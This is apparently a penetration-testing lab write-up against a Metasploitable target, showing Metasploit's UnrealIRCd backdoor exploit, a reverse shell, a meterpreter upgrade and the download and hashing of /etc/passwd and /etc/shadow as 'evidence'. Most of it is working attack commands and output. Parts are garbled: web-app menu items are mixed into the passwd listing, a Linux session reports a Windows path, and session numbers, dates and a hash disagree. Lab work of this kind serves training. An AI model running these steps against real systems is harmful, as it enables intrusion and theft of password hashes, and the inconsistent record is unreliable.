

1.Post Exploitation & Evidence Collection

In the first step advanced exploitation step, we got the shell session and gained the privilege escalation.

Through the session we can collect the evidence and upgrade the session shell to a meterpreter.

```
msf exploit(unix irc unreal ircd_3281_backdoor) > set LHOST eth0
LHOST => 192.168.1.13
msf exploit(unix irc unreal ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.1.13:4444
[*] 192.168.1.14:6667 - Connected to 192.168.1.14:6667 ...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.1.14:6667 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo CTbGyFIdBBti6qWL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "CTbGyFIdBBti6qWL\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.1.13:4444 → 192.168.1.14:46469) at 2026-01-21 02:50:33 -0500

whoami
root
```

1.1 Evidence Collection

In this we have to collect the evidence such as name, passwd files and some listening ports.

1. uname -a

```
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

2. Cat /etc/passwd

cat /etc/passwd		Home	
root:x:0:0:root:/root:/bin/bash		Instructions	
daemon:x:1:1:daemon:/usr/sbin:/bin/sh		Setup / Reset DB	
bin:x:2:2:bin:/bin:/sh		Brute Force	
sys:x:3:3:sys:/dev:/bin/sh		Command Injection	
sync:x:4:65534:sync:/bin:/sync		CSRF	
games:x:5:60:games:/usr/games:/bin/sh		File Inclusion	
man:x:6:12:man:/var/cache/man:/bin/sh		File Upload	
lp:x:7:7:lp:/var/spool/lpd:/bin/sh		Insecure CAPTCHA	
mail:x:8:8:mail:/var/mail:/bin/sh		Malware	
news:x:9:9:news:/var/spool/news:/bin/sh		Man-in-the-Middle	
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh		Phishing	
proxy:x:13:13:proxy:/bin:/sh		SQL Injection	
www-data:x:33:33:www-data:/var/www:/bin/sh		Session Hijacking	
backup:x:34:34:backup:/var/backups:/bin/sh		Weak Session IDs	
list:x:38:38:Mailing List Manager:/var/list:/bin/sh		XSS (DOM)	
irc:x:39:39:ircd:/var/run/ircd:/bin/sh		XSS (Reflected)	
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh			
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh			
libuuid:x:100:101::/var/lib/libuuid:/bin/sh			
dhcp:x:101:102::/nonexistent:/bin/false			
syslog:x:102:103::/home/syslog:/bin/false			
klog:x:103:104::/home/klog:/bin/false			
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin			
msfadmin:x:1000:1000:msfadmin,,,,:/home/msfadmin:/bin/bash	msfadmin		(Stored)
bind:x:105:113::/var/cache/bind:/bin/false			
postfix:x:106:115::/var/spool/postfix:/bin/false			
ftp:x:107:65534::/home/ftp:/bin/false			
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash	postgres		
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false	mysql		
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false			
distccd:x:111:65534::/:/bin/false			
user:x:1001:1001:just a user,111,,,:/home/user:/bin/bash	user		
service:x:1002:1002,,,:/home/service:/bin/bash	service		
telnetd:x:112:120::/nonexistent:/bin/false			
proftpd:x:113:65534::/var/run/proftpd:/bin/false			
statd:x:114:65534::/var/lib/nfs:/bin/false			

3. Ps aux

ps aux	USER	PID	PCPU	%MEM	VSZ	RSS	TTY	STAT	START	TIME	COMMAND
root	root	1	0.0	0.3	2844	1696	?	Ss	03:00	0:00	/sbin/init
root	root	2	0.0	0.0	0	0	?	S	03:00	0:00	[kthreadd]
root	root	3	0.0	0.0	0	0	?	S	03:00	0:00	[rcu_bh]
root	root	4	0.0	0.0	0	0	?	S	03:00	0:00	[ksoftirqd/0]
root	root	5	0.0	0.0	0	0	?	S	03:00	0:00	[watchdog/0]
root	root	6	0.0	0.0	0	0	?	S	03:00	0:00	[events/0]
root	root	7	0.0	0.0	0	0	?	S	03:00	0:00	[khelper]
root	root	41	0.0	0.0	0	0	?	S	03:00	0:00	[kblockd/0]
root	root	44	0.0	0.0	0	0	?	S	03:00	0:00	[kscsi]
root	root	45	0.0	0.0	0	0	?	S	03:00	0:00	[k9psector]
root	root	174	0.0	0.0	0	0	?	S	03:00	0:00	[kseriod]
root	root	213	0.0	0.0	0	0	?	S	03:00	0:00	[odflush]
root	root	214	0.0	0.0	0	0	?	S	03:00	0:00	[odflush]
root	root	215	0.0	0.0	0	0	?	S	03:00	0:00	[kswapd0]
root	root	257	0.0	0.0	0	0	?	S	03:00	0:00	[xio/0]
root	root	300	0.0	0.0	0	0	?	S	03:00	0:00	[kmemleakd]
root	root	1504	0.0	0.0	0	0	?	S	03:00	0:00	[ata/0]
root	root	1507	0.0	0.0	0	0	?	S	03:00	0:00	[ata_aux]
root	root	1511	0.0	0.0	0	0	?	S	03:00	0:00	[scsi_eh_0]
root	root	1517	0.0	0.0	0	0	?	S	03:00	0:00	[scsi_eh_1]
root	root	1537	0.0	0.0	0	0	?	S	03:00	0:00	[kssuspend_usbd]
root	root	1941	0.0	0.0	0	0	?	S	03:00	0:00	[khubd]
root	root	2620	0.0	0.0	0	0	?	S	03:00	0:00	[kscsi_eh_2]
root	root	2639	0.0	0.0	0	0	?	S	03:00	0:00	[kscsi_eh_3]
root	root	2819	0.0	0.1	2992	636	?	Ss	03:00	0:00	/bin/udevd --daemon
root	root	3246	0.0	0.0	0	0	?	S	03:00	0:00	[kpmoused]
root	root	4134	0.0	0.0	0	0	?	S	03:00	0:00	[kjournald]
daemon	root	4263	0.0	0.1	1836	528	?	S	03:00	0:00	/sbin/portmap
statd	root	4264	0.0	0.0	0	0	?	S	03:00	0:00	/sbin/statd
root	root	4285	0.0	0.0	0	0	?	S	03:00	0:00	[scsicd/0]
root	root	4300	0.0	0.1	3648	568	?	S	03:00	0:00	/usr/sbin/rpc.idmapd
root	root	4527	0.0	0.0	1716	484	tty4	Ss	03:00	0:00	/sbin/getty 38400 tty4
root	root	4528	0.0	0.0	1716	484	tty5	Ss	03:00	0:00	/sbin/getty 38400 tty5
root	root	4533	0.0	0.0	1716	484	tty2	Ss	03:00	0:00	/sbin/getty 38400 tty2
root	root	4535	0.0	0.0	1716	484	tty3	Ss	03:00	0:00	/sbin/getty 38400 tty3
root	root	4536	0.0	0.0	1716	484	tty6	Ss	03:00	0:00	/sbin/getty 38400 tty6
syslog	root	4576	0.0	0.0	1936	544	?	S	03:00	0:00	/sbin/klogd
root	root	4620	0.0	0.1	1872	544	?	S	03:00	0:00	/bin/dd bs=1Lf /proc/kmsg of /var/run/klogd/kmsg
klog	root	4622	0.0	0.3	3152	2652	?	S	03:00	0:00	/sbin/klogd -P /var/run/klogd/kmsg
bind	root	4645	0.0	1.4	35348	7624	?	S	03:00	0:00	/usr/sbin/named -u bind
root	root	4749	0.0	0.2	2768	1304	?	S	03:00	0:00	/bin/sh /usr/bin/mysql_safe
mysql	root	4793	0.0	3.3	327568	17828	?	S	03:00	0:00	/usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock
root	root	4793	0.0	1.2	1780	356	?	S	03:00	0:00	logger -p daemon.err -t mysql_safe -l /var/run/klogd/kmsg
postgres	root	4869	0.0	0.9	42748	5876	?	S	03:00	0:00	/usr/lib/postgresql/8.3/bin/postgres -D /var/run/postgresql/8.3/main -c config_file=/etc/postgresql/8.3/main/postgresql.conf
dhclient	root	4884	0.0	0.1	2436	736	?	S	03:00	0:00	dhclient -e IF_METRIC=100 -pf /var/run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases eth0
root	root	4902	0.0	0.1	5312	992	?	S	03:00	0:00	/usr/sbin/shd

4. Netstat –antup

netstat -antup						
Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program name
tcp	0	0	0.0.0.0:512	0.0.0.0:*	LISTEN	5097/xinetd
tcp	0	0	0.0.0.0:34496	0.0.0.0:*	LISTEN	4279/rpc.statd
tcp	0	0	0.0.0.0:513	0.0.0.0:*	LISTEN	5097/xinetd
tcp	0	0	0.0.0.0:2049	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:514	0.0.0.0:*	LISTEN	5097/xinetd
tcp	0	0	0.0.0.0:8009	0.0.0.0:*	LISTEN	5190/jsvc
tcp	0	0	0.0.0.0:6697	0.0.0.0:*	LISTEN	5231/unrealircd
tcp	0	0	0.0.0.0:3306	0.0.0.0:*	LISTEN	4791/mysqld
tcp	0	0	0.0.0.0:1099	0.0.0.0:*	LISTEN	5227/rmiregistry
tcp	0	0	0.0.0.0:6667	0.0.0.0:*	LISTEN	5231/unrealircd
tcp	0	0	0.0.0.0:139	0.0.0.0:*	LISTEN	5078/smbd
tcp	0	0	0.0.0.0:5900	0.0.0.0:*	LISTEN	5249/Xtightvnc
tcp	0	0	0.0.0.0:111	0.0.0.0:*	LISTEN	4263/portmap
tcp	0	0	0.0.0.0:8080	0.0.0.0:*	LISTEN	5190/jsvc
tcp	0	0	0.0.0.0:6000	0.0.0.0:*	LISTEN	5249/Xtightvnc
tcp	0	0	0.0.0.0:80	0.0.0.0:*	LISTEN	5208/apache2
tcp	0	0	0.0.0.0:44305	0.0.0.0:*	LISTEN	5227/rmiregistry
tcp	0	0	0.0.0.0:8787	0.0.0.0:*	LISTEN	5232/ruby
tcp	0	0	0.0.0.0:39027	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:1524	0.0.0.0:*	LISTEN	5097/xinetd
tcp	0	0	192.168.1.14:53	0.0.0.0:*	LISTEN	4645/named
tcp	0	0	0.0.0.0:21	0.0.0.0:*	LISTEN	5097/xinetd
tcp	0	0	127.0.0.1:53	0.0.0.0:*	LISTEN	4645/named
tcp	0	0	0.0.0.0:23	0.0.0.0:*	LISTEN	5097/xinetd
tcp	0	0	0.0.0.0:5432	0.0.0.0:*	LISTEN	4869/postgres
tcp	0	0	0.0.0.0:25	0.0.0.0:*	LISTEN	5069/master
tcp	0	0	127.0.0.1:953	0.0.0.0:*	LISTEN	4645/named
tcp	0	0	0.0.0.0:39868	0.0.0.0:*	LISTEN	5003/rpc.mountd
tcp	0	0	0.0.0.0:445	0.0.0.0:*	LISTEN	5078/smbd
tcp	0	0	192.168.1.14:60512	192.168.1.13:4444	ESTABLISHED	5361/telnet
tcp	0	1	192.168.1.14:51058	10.120.110.41:8080	SYN_SENT	6045/curl
tcp	0	0	192.168.1.14:60511	192.168.1.13:4444	ESTABLISHED	5357/telnet
tcp	0	1	192.168.1.14:51057	10.120.110.41:8080	SYN_SENT	6035/curl
tcp	0	1	192.168.1.14:51059	10.120.110.41:8080	SYN_SENT	6054/curl
tcp6	0	0	:::2121	:::*	LISTEN	5133/proftpd: (acce
tcp6	0	0	:::3632	:::*	LISTEN	4940/distccd
tcp6	0	0	:::53	:::*	LISTEN	4645/named
tcp6	0	0	:::22	:::*	LISTEN	4902/sshd
tcp6	0	0	:::5432	:::*	LISTEN	4869/postgres
tcp6	0	0	:::1:953	:::*	LISTEN	4645/named
udp	0	0	0.0.0.0:2049	0.0.0.0:*	-	-
udp	0	0	192.168.1.14:137	0.0.0.0:*	-	5076/nmbd
udp	0	0	0.0.0.0:137	0.0.0.0:*	-	5076/nmbd
udn	0	0	192.168.1.14:138	0.0.0.0:*	-	5076/nmhd

1.2 Upgrading session (Shell -> Meterpreter)

First, upgrade the session to meterpreter to get the access to download the files by using the command as

sessions -u 2

```
msf exploit(unix irc unreal ircd_3281_backdoor) > sessions -u 2
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [2]
[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.13:4433
[*] Sending stage (1062760 bytes) to 192.168.1.14
[*] Meterpreter session 3 opened (192.168.1.13:4433 -> 192.168.1.14:59971) at 2026-01-22 09:15:16 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
msf exploit(unix irc unreal ircd_3281_backdoor) > sessions
Active sessions

```

Id	Name	Type	Information	CSRF	Connection
2	shell cmd/unix	shell	cmd/unix	-	192.168.1.13:4444 -> 192.168.1.14:37344 (192.168.1.14)
3	meterpreter x86/linux	meterpreter	x86/linux root @ metasploitable.localdomain	-	192.168.1.13:4433 -> 192.168.1.14:59971 (192.168.1.14)

```
msf exploit(unix irc unreal ircd_3281_backdoor) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > pwd
/C:\Windows\system32

```

We have download some files to our local machine as

download /etc/passwd /home/root

download /etc/passwd /home/root

```
meterpreter > download /etc/passwd /home/root
[*] Downloading: /etc/passwd -> /home/root/passwd
[*] Downloaded 1.54 KiB of 1.54 KiB (100.0%): /etc/passwd -> /home/root/passwd
[*] Completed : /etc/passwd -> /home/root/passwd
meterpreter > download /etc/shadow /home/root
[*] Downloading: /etc/shadow -> /home/root/shadow
[*] Downloaded 1.18 KiB of 1.18 KiB (100.0%): /etc/shadow -> /home/root/shadow
[*] Completed : /etc/shadow -> /home/root/shadow
meterpreter > █
```

Hashing files

```
└─(root㉿kali)-[~/home/root]
  └─# ls
    downloads  passwd  shadow

  └─(root㉿kali)-[~/home/root]
    └─# cd downloads

  └─(root㉿kali)-[~/home/root/downloads]
    └─# ls
      passwd

  └─(root㉿kali)-[~/home/root/downloads]
    └─# cd ..
    └─(root㉿kali)-[~/home/root]
      └─# ls
        downloads  passwd  shadow

  └─(root㉿kali)-[~/home/root]
    └─# sha256sum passwd
    af23ffe0bc5479a70a17e799fa699f9e593f2151b7e1ba597987523c7c733d42  passwd

  └─(root㉿kali)-[~/home/root]
    └─# sha256sum shadow
    7f9f08e29620f196a409890a742738c61644f67a1f8e879db8317b674b16c762  shadow

  └─(root㉿kali)-[~/home/root]
    └─# █
```

ITEM	DESCRIPTION	COLLECTED BY	DATE	HASH VALUE
passwd file	User Account Information	VAPT Analyst	15-01-2026	af23ffe0bc5479a70a17e799fa699f9e593f2151b7e1ba597987523c7c733d42

shadow file	Hashed Password for user accounts	VAPT Analyst	15-01-2026	7f9f08e29620f196a409890a742738c61644f67a1f8e8 79db8317b674b16c762
-------------	-----------------------------------	--------------	------------	--